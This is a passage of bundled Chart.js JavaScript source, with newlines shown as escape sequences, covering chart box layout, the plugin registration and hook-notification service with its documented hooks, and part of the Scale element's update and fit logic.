newMaxChartAreaHeight;\n\t\t\t});\n\n\t\t\thelpers.each(topBoxes, function(box) {\n\t\t\t\tif (!box.fullWidth) {\n\t\t\t\t\tbox.width = newMaxChartAreaWidth;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\thelpers.each(bottomBoxes, function(box) {\n\t\t\t\tif (!box.fullWidth) {\n\t\t\t\t\tbox.width = newMaxChartAreaWidth;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tmaxChartAreaHeight = newMaxChartAreaHeight;\n\t\t\tmaxChartAreaWidth = newMaxChartAreaWidth;\n\t\t}\n\n\t\t// Step 7 - Position the boxes\n\t\tvar left = leftPadding + leftPaddingAddition;\n\t\tvar top = topPadding + topPaddingAddition;\n\n\t\tfunction placeBox(box) {\n\t\t\tif (box.isHorizontal()) {\n\t\t\t\tbox.left = box.fullWidth ? leftPadding : totalLeftBoxesWidth;\n\t\t\t\tbox.right = box.fullWidth ? width - rightPadding : totalLeftBoxesWidth + maxChartAreaWidth;\n\t\t\t\tbox.top = top;\n\t\t\t\tbox.bottom = top + box.height;\n\n\t\t\t\t// Move to next point\n\t\t\t\ttop = box.bottom;\n\n\t\t\t} else {\n\n\t\t\t\tbox.left = left;\n\t\t\t\tbox.right = left + box.width;\n\t\t\t\tbox.top = totalTopBoxesHeight;\n\t\t\t\tbox.bottom = totalTopBoxesHeight + maxChartAreaHeight;\n\n\t\t\t\t// Move to next point\n\t\t\t\tleft = box.right;\n\t\t\t}\n\t\t}\n\n\t\thelpers.each(leftBoxes.concat(topBoxes), placeBox);\n\n\t\t// Account for chart width and height\n\t\tleft += maxChartAreaWidth;\n\t\ttop += maxChartAreaHeight;\n\n\t\thelpers.each(rightBoxes, placeBox);\n\t\thelpers.each(bottomBoxes, placeBox);\n\n\t\t// Step 8\n\t\tchart.chartArea = {\n\t\t\tleft: totalLeftBoxesWidth,\n\t\t\ttop: totalTopBoxesHeight,\n\t\t\tright: totalLeftBoxesWidth + maxChartAreaWidth,\n\t\t\tbottom: totalTopBoxesHeight + maxChartAreaHeight\n\t\t};\n\n\t\t// Step 9\n\t\thelpers.each(chartAreaBoxes, function(box) {\n\t\t\tbox.left = chart.chartArea.left;\n\t\t\tbox.top = chart.chartArea.top;\n\t\t\tbox.right = chart.chartArea.right;\n\t\t\tbox.bottom = chart.chartArea.bottom;\n\n\t\t\tbox.update(maxChartAreaWidth, maxChartAreaHeight);\n\t\t});\n\t}\n};\n\n},{\"45\":45}],31:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar helpers = require(45);\n\ndefaults._set('global', {\n\tplugins: {}\n});\n\n/**\n * The plugin service singleton\n * @namespace Chart.plugins\n * @since 2.1.0\n */\nmodule.exports = {\n\t/**\n\t * Globally registered plugins.\n\t * @private\n\t */\n\t_plugins: [],\n\n\t/**\n\t * This identifier is used to invalidate the descriptors cache attached to each chart\n\t * when a global plugin is registered or unregistered. In this case, the cache ID is\n\t * incremented and descriptors are regenerated during following API calls.\n\t * @private\n\t */\n\t_cacheId: 0,\n\n\t/**\n\t * Registers the given plugin(s) if not already registered.\n\t * @param {Array|Object} plugins plugin instance(s).\n\t */\n\tregister: function(plugins) {\n\t\tvar p = this._plugins;\n\t\t([]).concat(plugins).forEach(function(plugin) {\n\t\t\tif (p.indexOf(plugin) === -1) {\n\t\t\t\tp.push(plugin);\n\t\t\t}\n\t\t});\n\n\t\tthis._cacheId++;\n\t},\n\n\t/**\n\t * Unregisters the given plugin(s) only if registered.\n\t * @param {Array|Object} plugins plugin instance(s).\n\t */\n\tunregister: function(plugins) {\n\t\tvar p = this._plugins;\n\t\t([]).concat(plugins).forEach(function(plugin) {\n\t\t\tvar idx = p.indexOf(plugin);\n\t\t\tif (idx !== -1) {\n\t\t\t\tp.splice(idx, 1);\n\t\t\t}\n\t\t});\n\n\t\tthis._cacheId++;\n\t},\n\n\t/**\n\t * Remove all registered plugins.\n\t * @since 2.1.5\n\t */\n\tclear: function() {\n\t\tthis._plugins = [];\n\t\tthis._cacheId++;\n\t},\n\n\t/**\n\t * Returns the number of registered plugins?\n\t * @returns {Number}\n\t * @since 2.1.5\n\t */\n\tcount: function() {\n\t\treturn this._plugins.length;\n\t},\n\n\t/**\n\t * Returns all registered plugin instances.\n\t * @returns {Array} array of plugin objects.\n\t * @since 2.1.5\n\t */\n\tgetAll: function() {\n\t\treturn this._plugins;\n\t},\n\n\t/**\n\t * Calls enabled plugins for `chart` on the specified hook and with the given args.\n\t * This method immediately returns as soon as a plugin explicitly returns false. The\n\t * returned value can be used, for instance, to interrupt the current action.\n\t * @param {Object} chart - The chart instance for which plugins should be called.\n\t * @param {String} hook - The name of the plugin method to call (e.g. 'beforeUpdate').\n\t * @param {Array} [args] - Extra arguments to apply to the hook call.\n\t * @returns {Boolean} false if any of the plugins return false, else returns true.\n\t */\n\tnotify: function(chart, hook, args) {\n\t\tvar descriptors = this.descriptors(chart);\n\t\tvar ilen = descriptors.length;\n\t\tvar i, descriptor, plugin, params, method;\n\n\t\tfor (i = 0; i < ilen; ++i) {\n\t\t\tdescriptor = descriptors[i];\n\t\t\tplugin = descriptor.plugin;\n\t\t\tmethod = plugin[hook];\n\t\t\tif (typeof method === 'function') {\n\t\t\t\tparams = [chart].concat(args || []);\n\t\t\t\tparams.push(descriptor.options);\n\t\t\t\tif (method.apply(plugin, params) === false) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t},\n\n\t/**\n\t * Returns descriptors of enabled plugins for the given chart.\n\t * @returns {Array} [{ plugin, options }]\n\t * @private\n\t */\n\tdescriptors: function(chart) {\n\t\tvar cache = chart.$plugins || (chart.$plugins = {});\n\t\tif (cache.id === this._cacheId) {\n\t\t\treturn cache.descriptors;\n\t\t}\n\n\t\tvar plugins = [];\n\t\tvar descriptors = [];\n\t\tvar config = (chart && chart.config) || {};\n\t\tvar options = (config.options && config.options.plugins) || {};\n\n\t\tthis._plugins.concat(config.plugins || []).forEach(function(plugin) {\n\t\t\tvar idx = plugins.indexOf(plugin);\n\t\t\tif (idx !== -1) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar id = plugin.id;\n\t\t\tvar opts = options[id];\n\t\t\tif (opts === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif (opts === true) {\n\t\t\t\topts = helpers.clone(defaults.global.plugins[id]);\n\t\t\t}\n\n\t\t\tplugins.push(plugin);\n\t\t\tdescriptors.push({\n\t\t\t\tplugin: plugin,\n\t\t\t\toptions: opts || {}\n\t\t\t});\n\t\t});\n\n\t\tcache.descriptors = descriptors;\n\t\tcache.id = this._cacheId;\n\t\treturn descriptors;\n\t},\n\n\t/**\n\t * Invalidates cache for the given chart: descriptors hold a reference on plugin option,\n\t * but in some cases, this reference can be changed by the user when updating options.\n\t * https://github.com/chartjs/Chart.js/issues/5111#issuecomment-355934167\n\t * @private\n\t */\n\t_invalidate: function(chart) {\n\t\tdelete chart.$plugins;\n\t}\n};\n\n/**\n * Plugin extension hooks.\n * @interface IPlugin\n * @since 2.1.0\n */\n/**\n * @method IPlugin#beforeInit\n * @desc Called before initializing `chart`.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#afterInit\n * @desc Called after `chart` has been initialized and before the first update.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#beforeUpdate\n * @desc Called before updating `chart`. If any plugin returns `false`, the update\n * is cancelled (and thus subsequent render(s)) until another `update` is triggered.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n * @returns {Boolean} `false` to cancel the chart update.\n */\n/**\n * @method IPlugin#afterUpdate\n * @desc Called after `chart` has been updated and before rendering. Note that this\n * hook will not be called if the chart update has been previously cancelled.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#beforeDatasetsUpdate\n * @desc Called before updating the `chart` datasets. If any plugin returns `false`,\n * the datasets update is cancelled until another `update` is triggered.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n * @returns {Boolean} false to cancel the datasets update.\n * @since version 2.1.5\n*/\n/**\n * @method IPlugin#afterDatasetsUpdate\n * @desc Called after the `chart` datasets have been updated. Note that this hook\n * will not be called if the datasets update has been previously cancelled.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n * @since version 2.1.5\n */\n/**\n * @method IPlugin#beforeDatasetUpdate\n * @desc Called before updating the `chart` dataset at the given `args.index`. If any plugin\n * returns `false`, the datasets update is cancelled until another `update` is triggered.\n * @param {Chart} chart - The chart instance.\n * @param {Object} args - The call arguments.\n * @param {Number} args.index - The dataset index.\n * @param {Object} args.meta - The dataset metadata.\n * @param {Object} options - The plugin options.\n * @returns {Boolean} `false` to cancel the chart datasets drawing.\n */\n/**\n * @method IPlugin#afterDatasetUpdate\n * @desc Called after the `chart` datasets at the given `args.index` has been updated. Note\n * that this hook will not be called if the datasets update has been previously cancelled.\n * @param {Chart} chart - The chart instance.\n * @param {Object} args - The call arguments.\n * @param {Number} args.index - The dataset index.\n * @param {Object} args.meta - The dataset metadata.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#beforeLayout\n * @desc Called before laying out `chart`. If any plugin returns `false`,\n * the layout update is cancelled until another `update` is triggered.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n * @returns {Boolean} `false` to cancel the chart layout.\n */\n/**\n * @method IPlugin#afterLayout\n * @desc Called after the `chart` has been layed out. Note that this hook will not\n * be called if the layout update has been previously cancelled.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#beforeRender\n * @desc Called before rendering `chart`. If any plugin returns `false`,\n * the rendering is cancelled until another `render` is triggered.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n * @returns {Boolean} `false` to cancel the chart rendering.\n */\n/**\n * @method IPlugin#afterRender\n * @desc Called after the `chart` has been fully rendered (and animation completed). Note\n * that this hook will not be called if the rendering has been previously cancelled.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#beforeDraw\n * @desc Called before drawing `chart` at every animation frame specified by the given\n * easing value. If any plugin returns `false`, the frame drawing is cancelled until\n * another `render` is triggered.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Number} easingValue - The current animation value, between 0.0 and 1.0.\n * @param {Object} options - The plugin options.\n * @returns {Boolean} `false` to cancel the chart drawing.\n */\n/**\n * @method IPlugin#afterDraw\n * @desc Called after the `chart` has been drawn for the specific easing value. Note\n * that this hook will not be called if the drawing has been previously cancelled.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Number} easingValue - The current animation value, between 0.0 and 1.0.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#beforeDatasetsDraw\n * @desc Called before drawing the `chart` datasets. If any plugin returns `false`,\n * the datasets drawing is cancelled until another `render` is triggered.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Number} easingValue - The current animation value, between 0.0 and 1.0.\n * @param {Object} options - The plugin options.\n * @returns {Boolean} `false` to cancel the chart datasets drawing.\n */\n/**\n * @method IPlugin#afterDatasetsDraw\n * @desc Called after the `chart` datasets have been drawn. Note that this hook\n * will not be called if the datasets drawing has been previously cancelled.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Number} easingValue - The current animation value, between 0.0 and 1.0.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#beforeDatasetDraw\n * @desc Called before drawing the `chart` dataset at the given `args.index` (datasets\n * are drawn in the reverse order). If any plugin returns `false`, the datasets drawing\n * is cancelled until another `render` is triggered.\n * @param {Chart} chart - The chart instance.\n * @param {Object} args - The call arguments.\n * @param {Number} args.index - The dataset index.\n * @param {Object} args.meta - The dataset metadata.\n * @param {Number} args.easingValue - The current animation value, between 0.0 and 1.0.\n * @param {Object} options - The plugin options.\n * @returns {Boolean} `false` to cancel the chart datasets drawing.\n */\n/**\n * @method IPlugin#afterDatasetDraw\n * @desc Called after the `chart` datasets at the given `args.index` have been drawn\n * (datasets are drawn in the reverse order). Note that this hook will not be called\n * if the datasets drawing has been previously cancelled.\n * @param {Chart} chart - The chart instance.\n * @param {Object} args - The call arguments.\n * @param {Number} args.index - The dataset index.\n * @param {Object} args.meta - The dataset metadata.\n * @param {Number} args.easingValue - The current animation value, between 0.0 and 1.0.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#beforeTooltipDraw\n * @desc Called before drawing the `tooltip`. If any plugin returns `false`,\n * the tooltip drawing is cancelled until another `render` is triggered.\n * @param {Chart} chart - The chart instance.\n * @param {Object} args - The call arguments.\n * @param {Object} args.tooltip - The tooltip.\n * @param {Number} args.easingValue - The current animation value, between 0.0 and 1.0.\n * @param {Object} options - The plugin options.\n * @returns {Boolean} `false` to cancel the chart tooltip drawing.\n */\n/**\n * @method IPlugin#afterTooltipDraw\n * @desc Called after drawing the `tooltip`. Note that this hook will not\n * be called if the tooltip drawing has been previously cancelled.\n * @param {Chart} chart - The chart instance.\n * @param {Object} args - The call arguments.\n * @param {Object} args.tooltip - The tooltip.\n * @param {Number} args.easingValue - The current animation value, between 0.0 and 1.0.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#beforeEvent\n * @desc Called before processing the specified `event`. If any plugin returns `false`,\n * the event will be discarded.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {IEvent} event - The event object.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#afterEvent\n * @desc Called after the `event` has been consumed. Note that this hook\n * will not be called if the `event` has been previously discarded.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {IEvent} event - The event object.\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#resize\n * @desc Called after the chart as been resized.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Number} size - The new canvas display size (eq. canvas.style width & height).\n * @param {Object} options - The plugin options.\n */\n/**\n * @method IPlugin#destroy\n * @desc Called after the chart as been destroyed.\n * @param {Chart.Controller} chart - The chart instance.\n * @param {Object} options - The plugin options.\n */\n\n},{\"25\":25,\"45\":45}],32:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar Element = require(26);\nvar helpers = require(45);\nvar Ticks = require(34);\n\ndefaults._set('scale', {\n\tdisplay: true,\n\tposition: 'left',\n\toffset: false,\n\n\t// grid line settings\n\tgridLines: {\n\t\tdisplay: true,\n\t\tcolor: 'rgba(0, 0, 0, 0.1)',\n\t\tlineWidth: 1,\n\t\tdrawBorder: true,\n\t\tdrawOnChartArea: true,\n\t\tdrawTicks: true,\n\t\ttickMarkLength: 10,\n\t\tzeroLineWidth: 1,\n\t\tzeroLineColor: 'rgba(0,0,0,0.25)',\n\t\tzeroLineBorderDash: [],\n\t\tzeroLineBorderDashOffset: 0.0,\n\t\toffsetGridLines: false,\n\t\tborderDash: [],\n\t\tborderDashOffset: 0.0\n\t},\n\n\t// scale label\n\tscaleLabel: {\n\t\t// display property\n\t\tdisplay: false,\n\n\t\t// actual label\n\t\tlabelString: '',\n\n\t\t// line height\n\t\tlineHeight: 1.2,\n\n\t\t// top/bottom padding\n\t\tpadding: {\n\t\t\ttop: 4,\n\t\t\tbottom: 4\n\t\t}\n\t},\n\n\t// label settings\n\tticks: {\n\t\tbeginAtZero: false,\n\t\tminRotation: 0,\n\t\tmaxRotation: 50,\n\t\tmirror: false,\n\t\tpadding: 0,\n\t\treverse: false,\n\t\tdisplay: true,\n\t\tautoSkip: true,\n\t\tautoSkipPadding: 0,\n\t\tlabelOffset: 0,\n\t\t// We pass through arrays to be rendered as multiline labels, we convert Others to strings here.\n\t\tcallback: Ticks.formatters.values,\n\t\tminor: {},\n\t\tmajor: {}\n\t}\n});\n\nfunction labelsFromTicks(ticks) {\n\tvar labels = [];\n\tvar i, ilen;\n\n\tfor (i = 0, ilen = ticks.length; i < ilen; ++i) {\n\t\tlabels.push(ticks[i].label);\n\t}\n\n\treturn labels;\n}\n\nfunction getLineValue(scale, index, offsetGridLines) {\n\tvar lineValue = scale.getPixelForTick(index);\n\n\tif (offsetGridLines) {\n\t\tif (index === 0) {\n\t\t\tlineValue -= (scale.getPixelForTick(1) - lineValue) / 2;\n\t\t} else {\n\t\t\tlineValue -= (lineValue - scale.getPixelForTick(index - 1)) / 2;\n\t\t}\n\t}\n\treturn lineValue;\n}\n\nmodule.exports = function(Chart) {\n\n\tfunction computeTextSize(context, tick, font) {\n\t\treturn helpers.isArray(tick) ?\n\t\t\thelpers.longestText(context, font, tick) :\n\t\t\tcontext.measureText(tick).width;\n\t}\n\n\tfunction parseFontOptions(options) {\n\t\tvar valueOrDefault = helpers.valueOrDefault;\n\t\tvar globalDefaults = defaults.global;\n\t\tvar size = valueOrDefault(options.fontSize, globalDefaults.defaultFontSize);\n\t\tvar style = valueOrDefault(options.fontStyle, globalDefaults.defaultFontStyle);\n\t\tvar family = valueOrDefault(options.fontFamily, globalDefaults.defaultFontFamily);\n\n\t\treturn {\n\t\t\tsize: size,\n\t\t\tstyle: style,\n\t\t\tfamily: family,\n\t\t\tfont: helpers.fontString(size, style, family)\n\t\t};\n\t}\n\n\tfunction parseLineHeight(options) {\n\t\treturn helpers.options.toLineHeight(\n\t\t\thelpers.valueOrDefault(options.lineHeight, 1.2),\n\t\t\thelpers.valueOrDefault(options.fontSize, defaults.global.defaultFontSize));\n\t}\n\n\tChart.Scale = Element.extend({\n\t\t/**\n\t\t * Get the padding needed for the scale\n\t\t * @method getPadding\n\t\t * @private\n\t\t * @returns {Padding} the necessary padding\n\t\t */\n\t\tgetPadding: function() {\n\t\t\tvar me = this;\n\t\t\treturn {\n\t\t\t\tleft: me.paddingLeft || 0,\n\t\t\t\ttop: me.paddingTop || 0,\n\t\t\t\tright: me.paddingRight || 0,\n\t\t\t\tbottom: me.paddingBottom || 0\n\t\t\t};\n\t\t},\n\n\t\t/**\n\t\t * Returns the scale tick objects ({label, major})\n\t\t * @since 2.7\n\t\t */\n\t\tgetTicks: function() {\n\t\t\treturn this._ticks;\n\t\t},\n\n\t\t// These methods are ordered by lifecyle. Utilities then follow.\n\t\t// Any function defined here is inherited by all scale types.\n\t\t// Any function can be extended by the scale type\n\n\t\tmergeTicksOptions: function() {\n\t\t\tvar ticks = this.options.ticks;\n\t\t\tif (ticks.minor === false) {\n\t\t\t\tticks.minor = {\n\t\t\t\t\tdisplay: false\n\t\t\t\t};\n\t\t\t}\n\t\t\tif (ticks.major === false) {\n\t\t\t\tticks.major = {\n\t\t\t\t\tdisplay: false\n\t\t\t\t};\n\t\t\t}\n\t\t\tfor (var key in ticks) {\n\t\t\t\tif (key !== 'major' && key !== 'minor') {\n\t\t\t\t\tif (typeof ticks.minor[key] === 'undefined') {\n\t\t\t\t\t\tticks.minor[key] = ticks[key];\n\t\t\t\t\t}\n\t\t\t\t\tif (typeof ticks.major[key] === 'undefined') {\n\t\t\t\t\t\tticks.major[key] = ticks[key];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tbeforeUpdate: function() {\n\t\t\thelpers.callback(this.options.beforeUpdate, [this]);\n\t\t},\n\t\tupdate: function(maxWidth, maxHeight, margins) {\n\t\t\tvar me = this;\n\t\t\tvar i, ilen, labels, label, ticks, tick;\n\n\t\t\t// Update Lifecycle - Probably don't want to ever extend or overwrite this function ;)\n\t\t\tme.beforeUpdate();\n\n\t\t\t// Absorb the master measurements\n\t\t\tme.maxWidth = maxWidth;\n\t\t\tme.maxHeight = maxHeight;\n\t\t\tme.margins = helpers.extend({\n\t\t\t\tleft: 0,\n\t\t\t\tright: 0,\n\t\t\t\ttop: 0,\n\t\t\t\tbottom: 0\n\t\t\t}, margins);\n\t\t\tme.longestTextCache = me.longestTextCache || {};\n\n\t\t\t// Dimensions\n\t\t\tme.beforeSetDimensions();\n\t\t\tme.setDimensions();\n\t\t\tme.afterSetDimensions();\n\n\t\t\t// Data min/max\n\t\t\tme.beforeDataLimits();\n\t\t\tme.determineDataLimits();\n\t\t\tme.afterDataLimits();\n\n\t\t\t// Ticks - `this.ticks` is now DEPRECATED!\n\t\t\t// Internal ticks are now stored as objects in the PRIVATE `this._ticks` member\n\t\t\t// and must not be accessed directly from outside this class. `this.ticks` being\n\t\t\t// around for long time and not marked as private, we can't change its structure\n\t\t\t// without unexpected breaking changes. If you need to access the scale ticks,\n\t\t\t// use scale.getTicks() instead.\n\n\t\t\tme.beforeBuildTicks();\n\n\t\t\t// New implementations should return an array of objects but for BACKWARD COMPAT,\n\t\t\t// we still support no return (`this.ticks` internally set by calling this method).\n\t\t\tticks = me.buildTicks() || [];\n\n\t\t\tme.afterBuildTicks();\n\n\t\t\tme.beforeTickToLabelConversion();\n\n\t\t\t// New implementations should return the formatted tick labels but for BACKWARD\n\t\t\t// COMPAT, we still support no return (`this.ticks` internally changed by calling\n\t\t\t// this method and supposed to contain only string values).\n\t\t\tlabels = me.convertTicksToLabels(ticks) || me.ticks;\n\n\t\t\tme.afterTickToLabelConversion();\n\n\t\t\tme.ticks = labels;   // BACKWARD COMPATIBILITY\n\n\t\t\t// IMPORTANT: from this point, we consider that `this.ticks` will NEVER change!\n\n\t\t\t// BACKWARD COMPAT: synchronize `_ticks` with labels (so potentially `this.ticks`)\n\t\t\tfor (i = 0, ilen = labels.length; i < ilen; ++i) {\n\t\t\t\tlabel = labels[i];\n\t\t\t\ttick = ticks[i];\n\t\t\t\tif (!tick) {\n\t\t\t\t\tticks.push(tick = {\n\t\t\t\t\t\tlabel: label,\n\t\t\t\t\t\tmajor: false\n\t\t\t\t\t});\n\t\t\t\t} else {\n\t\t\t\t\ttick.label = label;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tme._ticks = ticks;\n\n\t\t\t// Tick Rotation\n\t\t\tme.beforeCalculateTickRotation();\n\t\t\tme.calculateTickRotation();\n\t\t\tme.afterCalculateTickRotation();\n\t\t\t// Fit\n\t\t\tme.beforeFit();\n\t\t\tme.fit();\n\t\t\tme.afterFit();\n\t\t\t//\n\t\t\tme.afterUpdate();\n\n\t\t\treturn me.minSize;\n\n\t\t},\n\t\tafterUpdate: function() {\n\t\t\thelpers.callback(this.options.afterUpdate, [this]);\n\t\t},\n\n\t\t//\n\n\t\tbeforeSetDimensions: function() {\n\t\t\thelpers.callback(this.options.beforeSetDimensions, [this]);\n\t\t},\n\t\tsetDimensions: function() {\n\t\t\tvar me = this;\n\t\t\t// Set the unconstrained dimension before label rotation\n\t\t\tif (me.isHorizontal()) {\n\t\t\t\t// Reset position before calculating rotation\n\t\t\t\tme.width = me.maxWidth;\n\t\t\t\tme.left = 0;\n\t\t\t\tme.right = me.width;\n\t\t\t} else {\n\t\t\t\tme.height = me.maxHeight;\n\n\t\t\t\t// Reset position before calculating rotation\n\t\t\t\tme.top = 0;\n\t\t\t\tme.bottom = me.height;\n\t\t\t}\n\n\t\t\t// Reset padding\n\t\t\tme.paddingLeft = 0;\n\t\t\tme.paddingTop = 0;\n\t\t\tme.paddingRight = 0;\n\t\t\tme.paddingBottom = 0;\n\t\t},\n\t\tafterSetDimensions: function() {\n\t\t\thelpers.callback(this.options.afterSetDimensions, [this]);\n\t\t},\n\n\t\t// Data limits\n\t\tbeforeDataLimits: function() {\n\t\t\thelpers.callback(this.options.beforeDataLimits, [this]);\n\t\t},\n\t\tdetermineDataLimits: helpers.noop,\n\t\tafterDataLimits: function() {\n\t\t\thelpers.callback(this.options.afterDataLimits, [this]);\n\t\t},\n\n\t\t//\n\t\tbeforeBuildTicks: function() {\n\t\t\thelpers.callback(this.options.beforeBuildTicks, [this]);\n\t\t},\n\t\tbuildTicks: helpers.noop,\n\t\tafterBuildTicks: function() {\n\t\t\thelpers.callback(this.options.afterBuildTicks, [this]);\n\t\t},\n\n\t\tbeforeTickToLabelConversion: function() {\n\t\t\thelpers.callback(this.options.beforeTickToLabelConversion, [this]);\n\t\t},\n\t\tconvertTicksToLabels: function() {\n\t\t\tvar me = this;\n\t\t\t// Convert ticks to strings\n\t\t\tvar tickOpts = me.options.ticks;\n\t\t\tme.ticks = me.ticks.map(tickOpts.userCallback || tickOpts.callback, this);\n\t\t},\n\t\tafterTickToLabelConversion: function() {\n\t\t\thelpers.callback(this.options.afterTickToLabelConversion, [this]);\n\t\t},\n\n\t\t//\n\n\t\tbeforeCalculateTickRotation: function() {\n\t\t\thelpers.callback(this.options.beforeCalculateTickRotation, [this]);\n\t\t},\n\t\tcalculateTickRotation: function() {\n\t\t\tvar me = this;\n\t\t\tvar context = me.ctx;\n\t\t\tvar tickOpts = me.options.ticks;\n\t\t\tvar labels = labelsFromTicks(me._ticks);\n\n\t\t\t// Get the width of each grid by calculating the difference\n\t\t\t// between x offsets between 0 and 1.\n\t\t\tvar tickFont = parseFontOptions(tickOpts);\n\t\t\tcontext.font = tickFont.font;\n\n\t\t\tvar labelRotation = tickOpts.minRotation || 0;\n\n\t\t\tif (labels.length && me.options.display && me.isHorizontal()) {\n\t\t\t\tvar originalLabelWidth = helpers.longestText(context, tickFont.font, labels, me.longestTextCache);\n\t\t\t\tvar labelWidth = originalLabelWidth;\n\t\t\t\tvar cosRotation, sinRotation;\n\n\t\t\t\t// Allow 3 pixels x2 padding either side for label readability\n\t\t\t\tvar tickWidth = me.getPixelForTick(1) - me.getPixelForTick(0) - 6;\n\n\t\t\t\t// Max label rotation can be set or default to 90 - also act as a loop counter\n\t\t\t\twhile (labelWidth > tickWidth && labelRotation < tickOpts.maxRotation) {\n\t\t\t\t\tvar angleRadians = helpers.toRadians(labelRotation);\n\t\t\t\t\tcosRotation = Math.cos(angleRadians);\n\t\t\t\t\tsinRotation = Math.sin(angleRadians);\n\n\t\t\t\t\tif (sinRotation * originalLabelWidth > me.maxHeight) {\n\t\t\t\t\t\t// go back one step\n\t\t\t\t\t\tlabelRotation--;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tlabelRotation++;\n\t\t\t\t\tlabelWidth = cosRotation * originalLabelWidth;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tme.labelRotation = labelRotation;\n\t\t},\n\t\tafterCalculateTickRotation: function() {\n\t\t\thelpers.callback(this.options.afterCalculateTickRotation, [this]);\n\t\t},\n\n\t\t//\n\n\t\tbeforeFit: function() {\n\t\t\thelpers.callback(this.options.beforeFit, [this]);\n\t\t},\n\t\tfit: function() {\n\t\t\tvar me = this;\n\t\t\t// Reset\n\t\t\tvar minSize = me.minSize = {\n\t\t\t\twidth: 0,\n\t\t\t\theight: 0\n\t\t\t};\n\n\t\t\tvar labels = labelsFromTicks(me._ticks);\n\n\t\t\tvar opts = me.options;\n\t\t\tvar tickOpts = opts.ticks;\n\t\t\tvar scaleLabelOpts = opts.scaleLabel;\n\t\t\tvar gridLineOpts = opts.gridLines;\n\t\t\tvar display = opts.display;\n\t\t\tvar isHorizontal = me.isHorizontal();\n\n\t\t\tvar tickFont = parseFontOptions(tickOpts);\n\t\t\tvar tickMarkLength = opts.gridLines.tickMarkLength;\n\n\t\t\t// Width\n\t\t\tif (isHorizontal) {\n\t\t\t\t// subtract the margins to line up with the chartArea if we are a full width scale\n\t\t\t\tminSize.width = me.isFullWidth() ? me.maxWidth - me.margins.left - me.margins.right : me.maxWidth;\n\t\t\t} else {\n\t\t\t\tminSize.width = display && gridLineOpts.drawTicks ? tickMarkLength : 0;\n\t\t\t}\n\n\t\t\t// height\n\t\t\tif (isHorizontal) {\n\t\t\t\tminSize.height = display && gridLineOpts.drawTicks ? tickMarkLength : 0;\n\t\t\t} else {\n\t\t\t\tminSize.height = me.maxHeight; // fill all the height\n\t\t\t}\n\n\t\t\t// Are we showing a title for the scale?\n\t\t\tif (scaleLabelOpts.display && display) {\n\t\t\t\tvar scaleLabelLineHeight = parseLineHeight(scaleLabelOpts);\n\t\t\t\tvar scaleLabelPadding = helpers.options.toPadding(scaleLabelOpts.padding);\n\t\t\t\tvar deltaHeight = scaleLabelLineHeight + scaleLabelPadding.height;\n\n\t\t\t\tif (isHorizontal) {\n\t\t\t\t\tminSize.height += deltaHeight;\n\t\t\t\t} else {\n\t\t\t\t\tminSize.width += deltaHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Don't bother fitting the ticks if we are not showing them\n\t\t\tif (tickOpts.display && display) {\n\t\t\t\tvar largestTextWidth = helpers.longestText(me.ctx, tickFont.font, labels, me.longestTextCache);\n\t\t\t\tvar tallestLabelHeightInLines = helpers.numberOfLabelLines(labels);\n\t\t\t\tvar lineSpace = tickFont.size * 0.5;\n\t\t\t\tvar tickPadding = me.options.ticks.padding;\n\n\t\t\t\tif (isHorizontal) {\n\t\t\t\t\t// A horizontal axis is more constrained by the height.\n\t\t\t\t\tme.longestLabelWidth = largestTextWidth;\n\n\t\t\t\t\tvar angleRadians = helpers.toRadians(me.labelRotation);\n\t\t\t\t\tvar cosRotation = Math.cos(angleRadians);\n\t\t\t\t\tvar sinRotation = Math.sin(angleRadians);\n\n\t\t\t\t\t// TODO - improve this calculation\n\t\t\t\t\tvar labelHeight = (sinRotation * largestTextWidth)\n\t\t\t\t\t\t+ (tickFont.size * tallestLabelHeightInLines)\n\t\t\t\t\t\t+ (lineSpace * (tallestLabelHeightInLines - 1))\n\t\t\t\t\t\t+ lineSpace; // padding\n\n\t\t\t\t\tminSize.height = Math.min(me.maxHeight, minSize.height + labelHeight + tickPadding);\n\n\t\t\t\t\tme.ctx.font = 